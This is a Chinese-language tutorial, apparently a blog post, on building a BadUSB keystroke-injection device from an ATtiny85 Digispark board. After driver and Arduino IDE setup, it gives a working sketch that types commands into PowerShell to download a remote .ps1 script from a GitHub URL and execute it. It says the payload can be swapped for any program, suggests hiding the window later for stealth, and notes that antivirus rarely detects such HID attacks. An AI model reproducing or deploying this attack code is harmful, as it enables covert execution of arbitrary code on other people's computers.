0x00.准備:
ATiny85的板子
淘寶十元包郵。有兩款,兩款都可以,建議選擇左邊的,這樣可以直接插入USB口,第二款也可以,不過需要一根Micro的數據線(舊款安卓手機使用的線)。
電腦安裝驅動
當第一次插入這個設備到電腦上的時候,電腦系統會自動進行安裝驅動程序,如果安裝失敗,請自行點擊下面的網址進行下載並安裝!
https://github.com/digistump/DigistumpArduino/releases/download/1.6.7/Digistump.Drivers.zip
下載的驅動文件,解壓並執行相應的版本(64位操作系統執行DPinst64.exe,32位執行DPinst.exe)。
下圖是驅動安裝完成的截圖.
配置燒錄軟件
推薦使用Arduino IDE。到Arduino官方網站進行下載安裝
下載網址:https://www.arduino.cc/en/Main/Software?setlang=cn
進入程序界面后,點擊 文件 --> 首選項。
將http://digistump.com/package_digistump_index.json 復制到紅色線框標記的地方。
然后在 工具 選擇Boards Manager...
等待加載完成后(等待時間可能有點長),選擇下圖紅框標注的版本(這里已安裝會顯示Remove,如果是未安裝的會顯示Install。
下載完成后,即可在工具里看到Digispark (Default - 16.5mhz),編程器選擇“USBtinyISP
插上開發板安裝好驅動后,這里設備管理器會不斷發現它在刷新,可以不用按照網上其他教程,可以插上板子,將程序編譯上傳。
燒錄進去程序后,設備管理器就不會閃了。
0x02.燒錄代碼
貼一個自己測試的程序,通過下載一個powershell腳本,運行此腳本來改桌面的壁紙。(這里的腳本可以修改為想要的程序)
#include "DigiKeyboard.h" void setup() { DigiKeyboard.delay(600); DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); DigiKeyboard.delay(300); DigiKeyboard.println("POWERSHELL -NOP"); DigiKeyboard.delay(2000); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(2000); DigiKeyboard.println("$client = new-object System.Net.WebClient"); DigiKeyboard.println("$client.DownloadFile(\'https://raw.githubusercontent.com/HuIsec/person/master/test.ps1\','e:\\test.ps1')"); DigiKeyboard.delay(3000); DigiKeyboard.println("e:\\test.ps1"); DigiKeyboard.delay(300); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.println("exit"); } void loop() { }
將代碼復制到編輯框中,保存一下后,點擊上傳,即可自動編譯后上傳。
如果需要對Attiny 85開發板進行重寫開發,重新編寫代碼,或者修改代碼。建議先把Attiny 85開發板拔出,先把代碼寫好,點擊上傳,等提示:Plug in device now... (will timeout in 60 seconds),再把設備插入即可!
0x03.總結
此腳本還有很多不完善的地方,這里為了方便自己可以調試,以及可以看到所有過程,所以沒有做一些“隱蔽性”工作,后續可以自己完善。(比如,使用cmd窗口來執行powershell命令,以及對cmd窗口進行小窗口來隱藏一下。)
目前殺毒軟件對HID攻擊檢測不敏感,通過模擬鍵盤輸入,來達到快速將想要執行的代碼在目標主機上執行。